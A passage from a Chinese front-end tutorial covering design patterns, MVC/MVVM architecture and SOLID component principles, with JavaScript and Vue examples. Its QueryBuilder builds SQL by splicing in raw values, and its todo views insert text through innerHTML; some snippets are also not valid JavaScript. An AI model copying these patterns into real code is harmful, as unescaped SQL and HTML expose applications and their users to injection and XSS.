  getLocations() {
    const data = this.oldService.getLocations();
    return data.map(item => ({
      latitude: item.lat,
      longitude: item.lon,
      title: item.name
    }));
  }
}

// 使用
const oldService = new OldMapService();
const adapter = new MapAdapter(oldService);
console.log(adapter.getLocations());
// [{ latitude: 39.9, longitude: 116.4, title: '北京' }, ...]

// Axios 适配器示例
function axiosAdapter(config) {
  if (typeof config.adapter === 'function') {
    return config.adapter(config);
  }
  // 默认使用 XHR 或 fetch
  return fetch(config.url, {
    method: config.method,
    headers: config.headers,
    body: config.data
  });
}

应用场景

  1. 新旧 API 兼容
  2. 第三方库接口统一
  3. 数据格式转换

12. 外观模式

定义

外观模式(Facade Pattern)为子系统中的一组接口提供一个一致的界面,定义一个高层接口,使得子系统更加容易使用。

代码实现

// 子系统
class CPU {
  start() { console.log('CPU 启动'); }
  execute() { console.log('CPU 执行'); }
}

class Memory {
  load() { console.log('内存加载数据'); }
  free() { console.log('内存释放'); }
}

class Disk {
  read() { console.log('磁盘读取'); }
  write() { console.log('磁盘写入'); }
}

// 外观类
class ComputerFacade {
  constructor() {
    this.cpu = new CPU();
    this.memory = new Memory();
    this.disk = new Disk();
  }
  
  start() {
    console.log('=== 电脑启动 ===');
    this.cpu.start();
    this.memory.load();
    this.disk.read();
    this.cpu.execute();
  }
  
  shutdown() {
    console.log('=== 电脑关机 ===');
    this.disk.write();
    this.memory.free();
    this.cpu.execute();
  }
}

// 使用
const computer = new ComputerFacade();
computer.start();
// === 电脑启动 ===
// CPU 启动
// 内存加载数据
// 磁盘读取
// CPU 执行

前端应用

// jQuery 就是典型的 Facade
// $('#id').show() 背后封装了 DOM 操作、样式处理、动画等复杂逻辑

// DOM 操作外观
const DOM = {
  get(selector) { return document.querySelector(selector); },
  show(el) { el.style.display = 'block'; },
  hide(el) { el.style.display = 'none'; },
  on(el, event, handler) { el.addEventListener(event, handler); },
  html(el, content) { el.innerHTML = content; }
};

13. 命令模式

定义

命令模式(Command Pattern)将请求封装为对象,从而可以用不同的请求对客户进行参数化。

代码实现

class Command {
  execute() {}
  undo() {}
}

class LightOnCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.on(); }
  undo() { this.light.off(); }
}

class LightOffCommand extends Command {
  constructor(light) {
    super();
    this.light = light;
  }
  execute() { this.light.off(); }
  undo() { this.light.on(); }
}

class Light {
  on() { console.log('灯亮了'); }
  off() { console.log('灯灭了'); }
}

class RemoteControl {
  constructor() {
    this.commands = [];
    this.history = [];
  }
  
  setCommand(index, command) {
    this.commands[index] = command;
  }
  
  pressButton(index) {
    if (this.commands[index]) {
      this.commands[index].execute();
      this.history.push(this.commands[index]);
    }
  }
  
  undo() {
    if (this.history.length > 0) {
      const lastCommand = this.history.pop();
      lastCommand.undo();
    }
  }
}

// 使用
const light = new Light();
const remote = new RemoteControl();
remote.setCommand(0, new LightOnCommand(light));
remote.setCommand(1, new LightOffCommand(light));
remote.pressButton(0); // 灯亮了
remote.pressButton(1); // 灯灭了
remote.undo();          // 灯亮了

前端应用:撤销/重做

class CommandManager {
  constructor() {
    this.undoStack = [];
    this.redoStack = [];
  }
  
  execute(command) {
    command.execute();
    this.undoStack.push(command);
    this.redoStack = [];
  }
  
  undo() {
    if (this.undoStack.length === 0) return;
    const command = this.undoStack.pop();
    command.undo();
    this.redoStack.push(command);
  }
  
  redo() {
    if (this.redoStack.length === 0) return;
    const command = this.redoStack.pop();
    command.execute();
    this.undoStack.push(command);
  }
}

14. 迭代器模式

定义

迭代器模式(Iterator Pattern)提供一种方法顺序访问一个聚合对象中的各个元素,而不暴露其内部表示。

代码实现

// 自定义迭代器
class BookCollection {
  constructor() {
    this.books = [];
  }
  
  addBook(book) {
    this.books.push(book);
  }
  
  [Symbol.iterator]() {
    let index = 0;
    const books = this.books;
    return {
      next() {
        if (index < books.length) {
          return { value: books[index++], done: false };
        }
        return { value: undefined, done: true };
      }
    };
  }
}

// 使用
const collection = new BookCollection();
collection.addBook('JavaScript 高级程序设计');
collection.addBook('设计模式');
collection.addBook('算法导论');

for (const book of collection) {
  console.log(book);
}

// 自定义迭代器:有限迭代
function createLimitedIterator(array, limit) {
  let index = 0;
  return {
    [Symbol.iterator]() {
      return {
        next() {
          if (index < array.length && index < limit) {
            return { value: array[index++], done: false };
          }
          return { done: true };
        }
      };
    }
  };
}

15. 中介者模式

定义

中介者模式(Mediator Pattern)用一个中介对象来封装一系列的对象交互,使各个对象不需要显式地相互引用。

代码实现

class ChatRoom {
  constructor() {
    this.users = [];
  }
  
  addUser(user) {
    this.users.push(user);
    user.setMediator(this);
  }
  
  sendMessage(message, sender) {
    this.users
      .filter(user => user !== sender)
      .forEach(user => user.receiveMessage(message, sender));
  }
}

class User {
  constructor(name) {
    this.name = name;
    this.mediator = null;
  }
  
  setMediator(mediator) {
    this.mediator = mediator;
  }
  
  sendMessage(message) {
    console.log(`${this.name} 发送: ${message}`);
    this.mediator.sendMessage(message, this);
  }
  
  receiveMessage(message, sender) {
    console.log(`${this.name} 收到 ${sender.name}: ${message}`);
  }
}

// 使用
const room = new ChatRoom();
const alice = new User('Alice');
const bob = new User('Bob');
const charlie = new User('Charlie');

room.addUser(alice);
room.addUser(bob);
room.addUser(charlie);

alice.sendMessage('大家好!');
// Alice 发送: 大家好!
// Bob 收到 Alice: 大家好!
// Charlie 收到 Alice: 大家好!

应用场景

  1. 聊天室系统
  2. 表单组件联动
  3. 多个模块间的解耦

16. 备忘录模式

定义

备忘录模式(Memento Pattern)在不破坏封装性的前提下,捕获一个对象的内部状态,并在该对象之外保存这个状态。

代码实现

class Memento {
  constructor(state) {
    this.state = state;
  }
  getState() { return this.state; }
}

class Editor {
  constructor() {
    this.content = '';
  }
  
  type(text) {
    this.content += text;
  }
  
  getContent() { return this.content; }
  
  save() {
    return new Memento(this.content);
  }
  
  restore(memento) {
    this.content = memento.getState();
  }
}

class History {
  constructor() {
    this.mementos = [];
  }
  
  push(memento) {
    this.mementos.push(memento);
  }
  
  pop() {
    return this.mementos.pop();
  }
}

// 使用
const editor = new Editor();
const history = new History();

editor.type('第');
history.push(editor.save());

editor.type('一');
history.push(editor.save());

editor.type('行');
console.log(editor.getContent()); // 第一行

editor.restore(history.pop());
console.log(editor.getContent()); // 第一

editor.restore(history.pop());
console.log(editor.getContent()); // 第

17. 状态模式

定义

状态模式(State Pattern)允许一个对象在其内部状态改变时改变它的行为。

代码实现

class State {
  constructor(name) { this.name = name; }
  handle(context) { throw new Error('抽象方法'); }
}

class OpenState extends State {
  constructor() { super('open'); }
  handle(context) {
    console.log('门已打开');
    context.setState(new ClosedState());
  }
}

class ClosedState extends State {
  constructor() { super('closed'); }
  handle(context) {
    console.log('门已关闭');
    context.setState(new LockedState());
  }
}

class LockedState extends State {
  constructor() { super('locked'); }
  handle(context) {
    console.log('门已锁定');
    context.setState(new OpenState());
  }
}

class Door {
  constructor() {
    this.state = new ClosedState();
  }
  
  setState(state) {
    this.state = state;
  }
  
  press() {
    this.state.handle(this);
  }
  
  getState() { return this.state.name; }
}

// 使用
const door = new Door();
door.press(); // 门已关闭
door.press(); // 门已锁定
door.press(); // 门已打开

// 实际应用:订单状态
const orderStates = {
  pending: {
    next: 'paid',
    actions: { pay: () => '付款' }
  },
  paid: {
    next: 'shipped',
    actions: { ship: () => '发货' }
  },
  shipped: {
    next: 'delivered',
    actions: { deliver: () => '签收' }
  },
  delivered: {
    next: null,
    actions: {}
  }
};

class Order {
  constructor() { this.state = 'pending'; }
  
  transition(action) {
    const currentState = orderStates[this.state];
    if (currentState.actions[action]) {
      console.log(currentState.actions[action]());
      if (currentState.next) {
        this.state = currentState.next;
        console.log(`订单状态变更为: ${this.state}`);
      }
    } else {
      console.log(`当前状态不能执行 ${action}`);
    }
  }
}

18. 模板方法模式

定义

模板方法模式(Template Method Pattern)定义一个操作中的算法骨架,将某些步骤延迟到子类中实现。

代码实现

class Beverage {
  // 模板方法
  prepare() {
    this.boilWater();
    this.brew();
    this.pourInCup();
    this.addCondiments();
  }
  
  boilWater() { console.log('烧开水'); }
  pourInCup() { console.log('倒入杯中'); }
  
  brew() { throw new Error('子类必须实现'); }
  addCondiments() { throw new Error('子类必须实现'); }
}

class Coffee extends Beverage {
  brew() { console.log('冲泡咖啡'); }
  addCondiments() { console.log('加糖和牛奶'); }
}

class Tea extends Beverage {
  brew() { console.log('冲泡茶叶'); }
  addCondiments() { console.log('加柠檬'); }
}

// 使用
const coffee = new Coffee();
coffee.prepare();
// 烧开水
// 冲泡咖啡
// 倒入杯中
// 加糖和牛奶

// 前端应用:页面初始化流程
class PageInitializer {
  init() {
    this.loadConfig();
    this.initComponents();
    this.bindEvents();
    this.render();
  }
  
  loadConfig() { console.log('加载配置'); }
  initComponents() { console.log('初始化组件'); }
  bindEvents() { console.log('绑定事件'); }
  render() { console.log('渲染页面'); }
}

19. 责任链模式

定义

责任链模式(Chain of Responsibility Pattern)使多个对象都有机会处理请求,从而避免请求的发送者和接收者之间的耦合关系。

代码实现

class Handler {
  constructor() {
    this.nextHandler = null;
  }
  
  setNext(handler) {
    this.nextHandler = handler;
    return handler;
  }
  
  handle(request) {
    if (this.nextHandler) {
      return this.nextHandler.handle(request);
    }
    return null;
  }
}

class AuthHandler extends Handler {
  handle(request) {
    if (!request.token) {
      return { success: false, message: '未认证' };
    }
    console.log('认证通过');
    return super.handle(request);
  }
}

class PermissionHandler extends Handler {
  handle(request) {
    if (!request.permissions.includes('admin')) {
      return { success: false, message: '权限不足' };
    }
    console.log('权限通过');
    return super.handle(request);
  }
}

class LogHandler extends Handler {
  handle(request) {
    console.log('记录日志:', request);
    return super.handle(request);
  }
}

class BusinessHandler extends Handler {
  handle(request) {
    console.log('处理业务逻辑');
    return { success: true, data: '业务数据' };
  }
}

// 使用
const auth = new AuthHandler();
const permission = new PermissionHandler();
const log = new LogHandler();
const business = new BusinessHandler();

auth.setNext(permission).setNext(log).setNext(business);

const result = auth.handle({
  token: 'valid-token',
  permissions: ['admin', 'user']
});
// 认证通过
// 权限通过
// 记录日志: { token: 'valid-token', permissions: [ 'admin', 'user' ] }
// 处理业务逻辑
// { success: true, data: '业务数据' }

// Koa 中间件示例
function compose(middlewares) {
  return function(ctx) {
    function dispatch(index) {
      if (index >= middlewares.length) return Promise.resolve();
      const middleware = middlewares[index];
      return Promise.resolve(middleware(ctx, () => dispatch(index + 1)));
    }
    return dispatch(0);
  };
}

20. 享元模式

定义

享元模式(Flyweight Pattern)运用共享技术有效地支持大量细粒度的对象。

代码实现

class FlyweightFactory {
  constructor() {
    this.flyweights = {};
  }
  
  get(key) {
    if (!this.flyweights[key]) {
      this.flyweights[key] = this.createFlyweight(key);
    }
    return this.flyweights[key];
  }
  
  createFlyweight(key) {
    return { type: key, shared: true };
  }
  
  getCount() {
    return Object.keys(this.flyweights).length;
  }
}

// 实际应用:DOM 对象池
class DOMPool {
  constructor() {
    this.pools = {};
  }
  
  getElement(tagName) {
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    const element = this.pools[tagName].pop();
    return element || document.createElement(tagName);
  }
  
  releaseElement(element) {
    const tagName = element.tagName.toLowerCase();
    if (!this.pools[tagName]) {
      this.pools[tagName] = [];
    }
    element.innerHTML = '';
    element.className = '';
    this.pools[tagName].push(element);
  }
}

// 实际应用:图标缓存
const iconCache = {};
function getIcon(name) {
  if (!iconCache[name]) {
    iconCache[name] = `<svg class="icon icon-${name}">...</svg>`;
  }
  return iconCache[name];
}

21. 建造者模式

定义

建造者模式(Builder Pattern)将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。

代码实现

class Form {
  constructor() {
    this.fields = [];
    this.title = '';
    this.action = '';
    this.method = 'POST';
  }
  
  setTitle(title) { this.title = title; return this; }
  setAction(action) { this.action = action; return this; }
  setMethod(method) { this.method = method; return this; }
  addField(field) { this.fields.push(field); return this; }
  
  build() {
    return {
      title: this.title,
      action: this.action,
      method: this.method,
      fields: this.fields
    };
  }
}

// 使用
const loginForm = new Form()
  .setTitle('登录')
  .setAction('/api/login')
  .setMethod('POST')
  .addField({ name: 'username', type: 'text', required: true })
  .addField({ name: 'password', type: 'password', required: true })
  .build();

console.log(loginForm);
// {
//   title: '登录',
//   action: '/api/login',
//   method: 'POST',
//   fields: [
//     { name: 'username', type: 'text', required: true },
//     { name: 'password', type: 'password', required: true }
//   ]
// }

// 链式调用构建查询参数
class QueryBuilder {
  constructor(table) {
    this.table = table;
    this.conditions = [];
    this._orderBy = '';
    this._limit = 0;
  }
  
  where(field, operator, value) {
    this.conditions.push(`${field} ${operator} '${value}'`);
    return this;
  }
  
  orderBy(field, direction = 'ASC') {
    this._orderBy = `ORDER BY ${field} ${direction}`;
    return this;
  }
  
  limit(n) {
    this._limit = `LIMIT ${n}`;
    return this;
  }
  
  build() {
    let sql = `SELECT * FROM ${this.table}`;
    if (this.conditions.length) {
      sql += ` WHERE ${this.conditions.join(' AND ')}`;
    }
    if (this._orderBy) sql += ` ${this._orderBy}`;
    if (this._limit) sql += ` ${this._limit}`;
    return sql;
  }
}

const query = new QueryBuilder('users')
  .where('age', '>', 18)
  .where('status', '=', 'active')
  .orderBy('created_at', 'DESC')
  .limit(10)
  .build();

console.log(query);
// SELECT * FROM users WHERE age > '18' AND status = 'active' ORDER BY created_at DESC LIMIT 10

22. 原型模式

定义

原型模式(Prototype Pattern)用原型实例指定创建对象的种类,并且通过拷贝这些原型创建新的对象。

代码实现

class Prototype {
  constructor() {
    this.objects = {};
  }
  
  register(name, obj) {
    this.objects[name] = obj;
  }
  
  clone(name) {
    if (!this.objects[name]) {
      throw new Error(`未找到原型对象: ${name}`);
    }
    return JSON.parse(JSON.stringify(this.objects[name]));
  }
}

// 使用
const proto = new Prototype();
proto.register('user', {
  name: '匿名用户',
  age: 0,
  role: 'user',
  permissions: []
});

const user1 = proto.clone('user');
user1.name = '张三';
user1.age = 25;

const user2 = proto.clone('user');
user2.name = '李四';
user2.age = 30;

console.log(user1.name); // 张三
console.log(user2.name); // 李四

// Object.create 原型模式
const shape = {
  type: 'shape',
  color: 'red',
  draw() { console.log(`画一个${this.color}${this.type}`); }
};

const circle = Object.create(shape);
circle.type = '圆形';
circle.color = '蓝色';
circle.draw(); // 画一个蓝色的圆形

23. 组合模式

定义

组合模式(Composite Pattern)将对象组合成树形结构以表示"部分-整体"的层次结构。

代码实现

class Component {
  constructor(name) {
    this.name = name;
    this.children = [];
  }
  
  add(component) {
    this.children.push(component);
    return this;
  }
  
  remove(component) {
    this.children = this.children.filter(c => c !== component);
  }
  
  operation(indent = 0) {
    const prefix = '  '.repeat(indent);
    console.log(`${prefix}${this.name}`);
    this.children.forEach(child => child.operation(indent + 1));
  }
}

// 使用:文件系统
const root = new Component('根目录');
const documents = new Component('文档');
const pictures = new Component('图片');
const report = new Component('报告.doc');
const photo = new Component('photo.jpg');

root.add(documents).add(pictures);
documents.add(report);
pictures.add(photo);

root.operation();
// 根目录
//   文档
//     报告.doc
//   图片
//     photo.jpg

// 使用:菜单组件
const menu = new Component('菜单');
const fileMenu = new Component('文件');
const editMenu = new Component('编辑');
const newFile = new Component('新建');
const openFile = new Component('打开');

menu.add(fileMenu).add(editMenu);
fileMenu.add(newFile).add(openFile);

menu.operation();

24. 桥接模式

定义

桥接模式(Bridge Pattern)将抽象部分与实现部分分离,使它们都可以独立地变化。

代码实现

// 实现部分
class Renderer {
  renderCircle(radius) { throw new Error('抽象方法'); }
}

class CanvasRenderer extends Renderer {
  renderCircle(radius) {
    return `Canvas 绘制半径为${radius}的圆`;
  }
}

class SVGRenderer extends Renderer {
  renderCircle(radius) {
    return `SVG 绘制半径为${radius}的圆`;
  }
}

// 抽象部分
class Shape {
  constructor(renderer) {
    this.renderer = renderer;
  }
  draw() { throw new Error('抽象方法'); }
}

class Circle extends Shape {
  constructor(renderer, radius) {
    super(renderer);
    this.radius = radius;
  }
  draw() {
    console.log(this.renderer.renderCircle(this.radius));
  }
}

// 使用
const canvasCircle = new Circle(new CanvasRenderer(), 10);
const svgCircle = new Circle(new SVGRenderer(), 20);

canvasCircle.draw(); // Canvas 绘制半径为10的圆
svgCircle.draw();     // SVG 绘制半径为20的圆

二、前端架构设计

25. 前端架构 / 前端架构设计

定义

前端架构是对前端应用的整体结构设计,包括代码组织、模块划分、技术选型、数据流管理等方面。

架构演进

阶段 特点 代表技术
传统多页应用 服务端渲染、页面刷新 JSP/PHP/ASP
AJAX 时代 局部刷新、前后端分离雏形 jQuery + AJAX
单页应用(SPA) 前端路由、组件化 Angular/React/Vue
组件化时代 细粒度组件、状态管理 React/Vue + Redux/Vuex
微前端 多团队协作、独立部署 qiankun/Micro App

架构设计原则

  1. 单一职责:每个模块/组件只负责一个功能
  2. 高内聚低耦合:相关功能集中,不相关功能隔离
  3. 可复用性:组件/工具可在多处使用
  4. 可扩展性:新增功能不影响现有架构
  5. 可维护性:代码结构清晰、易于理解和修改

典型前端项目架构

src/
├── api/              # API 请求层
│   ├── modules/      # 按业务模块划分
│   └── index.js      # axios 实例配置
├── assets/           # 静态资源
├── components/       # 公共组件
│   ├── common/       # 通用组件
│   └── business/     # 业务组件
├── hooks/            # 自定义 Hooks
├── layouts/          # 布局组件
├── pages/            # 页面组件
│   ├── Home/
│   └── Login/
├── router/           # 路由配置
├── store/            # 状态管理
│   ├── modules/      # 按模块划分
│   └── index.js
├── styles/           # 全局样式
│   ├── variables/    # 变量
│   └── mixins/       # 混合
├── utils/            # 工具函数
├── types/            # TypeScript 类型
└── main.js           # 入口文件

26. 如何对前端项目进行代码的组织与架构设计?

问题拆解

维度 考虑因素 方案
代码组织 项目规模、团队人数、技术栈 按功能/按类型分层
状态管理 数据复杂度、组件层级 局部状态 / Vuex / Redux / 原子化
路由设计 页面数量、嵌套层级、权限控制 按路由分模块
API 管理 接口数量、复用程度 按业务模块划分
组件设计 复用性、独立性 公共组件 / 业务组件分离

按功能分模块(推荐)

src/
├── modules/
│   ├── auth/           # 认证模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   ├── user/           # 用户模块
│   │   ├── components/
│   │   ├── pages/
│   │   ├── store/
│   │   ├── api/
│   │   └── routes.js
│   └── order/          # 订单模块
│       ├── components/
│       ├── pages/
│       ├── store/
│       ├── api/
│       └── routes.js
├── shared/             # 共享资源
│   ├── components/
│   ├── hooks/
│   ├── utils/
│   └── styles/
└── app.js

技术选型建议

  1. 小型项目:Vue/React + 组件库 + 简单状态
  2. 中大型项目:Vue/React + Vuex/Redux + TypeScript
  3. 微前端:qiankun + 独立子应用
  4. SSR:Nuxt.js / Next.js

27. MVC 架构

定义

MVC(Model-View-Controller)将应用分为三个部分:

  • Model(模型):数据和业务逻辑
  • View(视图):用户界面
  • Controller(控制器):处理用户输入,更新 Model 和 View

原理

用户操作 View → Controller 接收输入 → 更新 Model → Model 通知 View 更新

代码示例

// Model
class TodoModel {
  constructor() {
    this.todos = [];
    this.listeners = [];
  }
  
  addTodo(text) {
    this.todos.push({ text, done: false });
    this.notify();
  }
  
  subscribe(listener) {
    this.listeners.push(listener);
  }
  
  notify() {
    this.listeners.forEach(l => l(this.todos));
  }
}

// View
class TodoView {
  render(todos) {
    const html = todos.map(t => 
      `<li>${t.done ? '✅' : '⬜'} ${t.text}</li>`
    ).join('');
    document.getElementById('todo-list').innerHTML = html;
  }
}

// Controller
class TodoController {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

// 使用
const model = new TodoModel();
const view = new TodoView();
const controller = new TodoController(model, view);
controller.addTodo('学习 MVC');
controller.addTodo('学习设计模式');

28. MVP 架构

定义

MVP(Model-View-Presenter)中 Presenter 充当 View 和 Model 的中间人,View 不直接与 Model 通信。

与 MVC 的区别

  • MVC 中 View 可以直接观察 Model
  • MVP 中 View 和 Model 完全隔离,通过 Presenter 交互
  • Presenter 持有 View 的引用,主动更新 View

代码示例

// View(被动)
class TodoView {
  constructor(presenter) {
    this.presenter = presenter;
    this.bindEvents();
  }
  
  bindEvents() {
    document.getElementById('add-btn').addEventListener('click', () => {
      const text = document.getElementById('input').value;
      this.presenter.addTodo(text);
    });
  }
  
  render(todos) {
    document.getElementById('todo-list').innerHTML = todos
      .map(t => `<li>${t.text}</li>`)
      .join('');
  }
}

// Presenter
class TodoPresenter {
  constructor(model, view) {
    this.model = model;
    this.view = view;
    this.model.subscribe(todos => this.view.render(todos));
  }
  
  addTodo(text) {
    this.model.addTodo(text);
  }
}

29. MVVM 架构

定义

MVVM(Model-View-ViewModel)通过 ViewModel 实现 Model 和 View 的双向数据绑定,View 的变化自动反映到 Model,反之亦然。

原理

  • 双向数据绑定:View ↔ ViewModel ↔ Model
  • 数据驱动:无需手动操作 DOM,数据变化自动更新视图

MVVM 实现

// 简易 MVVM 实现
class MVVM {
  constructor(options) {
    this.$el = document.querySelector(options.el);
    this.$data = options.data;
    this.init();
  }
  
  init() {
    this.observe(this.$data);
    this.compile(this.$el);
  }
  
  // 数据劫持
  observe(data) {
    Object.keys(data).forEach(key => {
      this.defineReactive(data, key, data[key]);
    });
  }
  
  defineReactive(obj, key, value) {
    const dep = [];
    Object.defineProperty(obj, key, {
      get() {
        if (MVVM.target && !dep.includes(MVVM.target)) {
          dep.push(MVVM.target);
        }
        return value;
      },
      set(newVal) {
        if (newVal !== value) {
          value = newVal;
          dep.forEach(watcher => watcher());
        }
      }
    });
  }
  
  // 编译模板
  compile(el) {
    const nodes = el.childNodes;
    nodes.forEach(node => {
      if (node.nodeType === 1) { // 元素节点
        const text = node.textContent;
        const matches = text.match(/\{\{(.+?)\}\}/);
        if (matches) {
          const key = matches[1].trim();
          new Watcher(this, node, key);
        }
        this.compile(node);
      }
    });
  }
}

class Watcher {
  constructor(vm, node, key) {
    this.vm = vm;
    this.node = node;
    this.key = key;
    this.update();
  }
  
  update() {
    MVVM.target = this.update.bind(this);
    this.node.textContent = this.vm.$data[this.key];
    MVVM.target = null;
  }
}

// 使用
const vm = new MVVM({
  el: '#app',
  data: { message: 'Hello MVVM!' }
});

30. MVC 与 MVVM 的区别

维度 MVC MVVM
数据绑定 单向/手动 双向/自动
View 与 Model 可通过 Controller 间接交互 完全隔离,通过 ViewModel 绑定
DOM 操作 需要手动操作 框架自动处理
适用框架 Backbone.js、Ruby on Rails Vue.js、Angular、WPF
开发效率 较低,需手动同步 较高,数据驱动

选择策略

  • 简单项目/服务端渲染 → MVC
  • 富交互/数据驱动应用 → MVVM

31. 前端分层架构

分层设计

层次 职责 示例
展示层(View) UI 渲染、用户交互 React/Vue 组件
业务逻辑层(Service) 业务规则、数据处理 服务类、工具函数
数据访问层(API/Repository) 数据请求、数据转换 Axios 封装、API 模块
状态管理层(Store) 全局状态管理 Vuex/Redux

代码组织

src/
├── views/          # 展示层:页面组件
├── components/     # 展示层:可复用组件
├── services/       # 业务逻辑层
├── repositories/   # 数据访问层
├── stores/         # 状态管理层
└── utils/          # 工具层

优点

  • 关注点分离:各层职责明确
  • 可测试性:每层可独立测试
  • 可替换性:替换某层不影响其他层

32. 前端模块化

定义

将代码拆分为独立的模块,每个模块封装特定的功能。

模块化规范演进

规范 环境 特点
IIFE 浏览器早期 立即执行函数,避免全局污染
AMD 浏览器 require.js,异步加载
CommonJS Node.js require/module.exports,同步加载
ES Modules 现代浏览器 import/export,静态分析

代码示例

// ES Modules
// math.js
export const PI = 3.14159;
export function add(a, b) { return a + b; }
export default class Calculator {}

// main.js
import Calculator, { PI, add } from './math.js';

// CommonJS
// math.js
module.exports = { PI: 3.14159, add: (a, b) => a + b };

// main.js
const { PI, add } = require('./math');

33. 前端组件化 / 组件化开发

定义

组件化是将 UI 拆分为独立、可复用的单元,每个组件包含自己的模板、样式和逻辑。

组件设计原则

原则 说明 示例
单一职责 一个组件只做一件事 Button 只负责按钮点击
高内聚 相关功能集中 表单组件包含验证逻辑
低耦合 组件间依赖最小化 通过 Props 传递数据
可复用 可在多处使用 通用 Input 组件
可组合 组件可以嵌套组合 Form > Input + Button

Vue 组件示例

<template>
  <button 
    :class="['btn', `btn-${type}`, { 'btn-disabled': disabled }]"
    :disabled="disabled"
    @click="handleClick"
  >
    <slot></slot>
  </button>
</template>

<script>
export default {
  name: 'BaseButton',
  props: {
    type: { type: String, default: 'default' },
    disabled: { type: Boolean, default: false }
  },
  emits: ['click'],
  methods: {
    handleClick(e) {
      if (!this.disabled) {
        this.$emit('click', e);
      }
    }
  }
}
</script>

三、组件设计原则

34. 组件设计原则概述

组件设计遵循 SOLID 原则和迪米特法则,这些原则不仅适用于面向对象编程,也适用于前端组件设计。


35. 单一职责原则(SRP)

定义

一个组件/模块只负责一项职责,只有一种引起它变化的原因。

原理

职责过多会导致组件臃肿、难以维护和测试。拆分职责后每个组件更专注、更易于复用。

示例

// 违反 SRP:一个组件做太多事
class UserComponent {
  loadUserData() { /* 加载数据 */ }
  renderUser() { /* 渲染用户信息 */ }
  validateForm() { /* 验证表单 */ }
  submitForm() { /* 提交表单 */ }
  sendEmail() { /* 发送邮件 */ }
}

// 符合 SRP:拆分为多个组件
class UserLoader { loadUserData() { /* 加载数据 */ } }
class UserView { renderUser() { /* 渲染用户信息 */ } }
class FormValidator { validateForm() { /* 验证表单 */ } }
class FormSubmitter { submitForm() { /* 提交表单 */ } }
class EmailService { sendEmail() { /* 发送邮件 */ } }

常见误区

  • 过度拆分导致碎片化
  • 职责边界模糊

36. 开闭原则(OCP)

定义

对扩展开放,对修改关闭。软件实体应该可以扩展,但不应该被修改。

示例

// 违反 OCP:新增类型需要修改源码
function getDiscount(type, price) {
  if (type === 'vip') return price * 0.9;
  if (type === 'svip') return price * 0.8;
  if (type === 'vvip') return price * 0.7; // 每次新增都要修改
  return price;
}

// 符合 OCP:使用策略模式扩展
const discounts = {
  vip: (price) => price * 0.9,
  svip: (price) => price * 0.8,
};

function getDiscount(type, price) {
  const strategy = discounts[type];
  return strategy ? strategy(price) : price;
}

// 扩展无需修改原代码
discounts.vvip = (price) => price * 0.7;

37. 里氏替换原则(LSP)

定义

子类对象能够替换其父类对象,且程序逻辑不变。

示例

// 违反 LSP:子类改变了父类行为
class Bird {
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  fly() { throw new Error('企鹅不会飞'); } // 改变了父类行为
}

// 符合 LSP
class Bird {
  move() { console.log('移动'); }
}

class Sparrow extends Bird {
  move() { this.fly(); }
  fly() { console.log('飞'); }
}

class Penguin extends Bird {
  move() { this.swim(); }
  swim() { console.log('游泳'); }
}

38. 接口隔离原则(ISP)

定义

客户端不应依赖它不需要的接口。应该将大接口拆分为小接口。

示例

// 违反 ISP:一个大接口
class Worker {
  work() {}
  eat() {}
  sleep() {}
}

class Robot implements Worker {
  work() { /* 工作 */ }
  eat() { throw new Error('机器人不需要吃饭'); }
  sleep() { throw new Error('机器人不需要睡觉'); }
}

// 符合 ISP:拆分接口
class Workable { work() {} }
class Eatable { eat() {} }
class Sleepable { sleep() {} }

class Robot implements Workable {
  work() { /* 工作 */ }
}

class Human implements Workable, Eatable, Sleepable {
  work() { /* 工作 */ }
  eat() { /* 吃饭 */ }
  sleep() { /* 睡觉 */ }
}

39. 依赖倒置原则(DIP)

定义

高层模块不应依赖低层模块,二者都应依赖抽象。抽象不应依赖细节,细节应依赖抽象。

示例

// 违反 DIP:高层直接依赖低层
class OrderService {
  constructor() {
    this.db = new MySQLDatabase(); // 直接依赖具体实现
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 符合 DIP:依赖抽象
class OrderService {
  constructor(database) {
    this.db = database; // 依赖抽象接口
  }
  
  saveOrder(order) {
    this.db.connect();
    this.db.save(order);
  }
}

// 使用时注入具体实现
const mysqlService = new OrderService(new MySQLDatabase());
const mongoService = new OrderService(new MongoDBDatabase());

40. 迪米特法则(LOD)

定义

一个对象应该对其他对象有最少的了解,只与直接朋友通信。

示例

// 违反 LOD:了解太多内部结构
class Company {
  getDepartments() { return [...]; }
}

class Department {
  getEmployees() { return [...]; }
}

// 不好:需要了解公司内部结构
function getEmployeeCount(company) {
  let count = 0;
  company.getDepartments().forEach(dept => {
    count += dept.getEmployees().length;
  });
  return count;
}

// 符合 LOD:封装内部结构
class Company {
  getEmployeeCount() {
    // 内部逻辑对外隐藏
    return this.departments.reduce((sum, dept) => 
      sum + dept.employees.length, 0
    );
  }
}

41. 组件复用性

设计原则

维度 建议
Props 设计 类型明确、有默认值、校验
插槽设计 使用 slot 提供扩展点
样式隔离 使用 BEM/CSS Modules/Scoped
事件设计 使用 emits 声明事件
文档完善 提供使用示例和 Props 说明

高复用组件示例

<!-- 通用表格组件 -->
<template>
  <table class="data-table">
    <thead>
      <tr>
        <th v-for="col in columns" :key="col.key">{{ col.title }}</th>
      </tr>
    </thead>
    <tbody>
      <tr v-for="row in data" :key="row.id">
        <td v-for="col in columns" :key="col.key">
          <slot :name="col.key" :row="row" :value="row[col.key]">
            {{ row[col.key] }}
          </slot>
        </td>
      </tr>
    </tbody>
  </table>
</template>

<script>
export default {
  props: {
    columns: {
      type: Array,
      required: true,
      validator: cols => cols.every(c => c.key && c.title)
    },
    data: { type: Array, default: () => [] },
    loading: { type: Boolean, default: false }
  }
}
</script>

42. 组件扩展性

扩展方式

方式 说明 适用场景
Props 传入配置控制行为 控制组件展示
Slots 提供内容插槽 自定义组件内容
Events 暴露事件供外部监听 响应组件交互
Ref 暴露内部方法 需要程序化控制
继承/组合 包装或扩展组件 构建变体组件

代码示例

<!-- 可扩展的卡片组件 -->
<template>
  <div :class="['card', `card-${size}`, { 'card-bordered': bordered }]">
    <!-- 头部扩展 -->
